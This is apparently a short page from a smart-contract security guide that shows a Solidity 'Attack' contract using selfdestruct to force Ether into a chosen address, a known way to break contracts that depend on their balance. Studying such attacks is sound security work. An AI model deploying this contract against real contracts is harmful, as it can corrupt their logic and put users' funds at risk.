Self Destruct Attack
Create a Malicious Contract for Destructing Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;
contract Attack {
function attack(address _address) payable public {
// the remaining Ether sent to _address when destructing
selfdestruct(_address);
}
}Last updated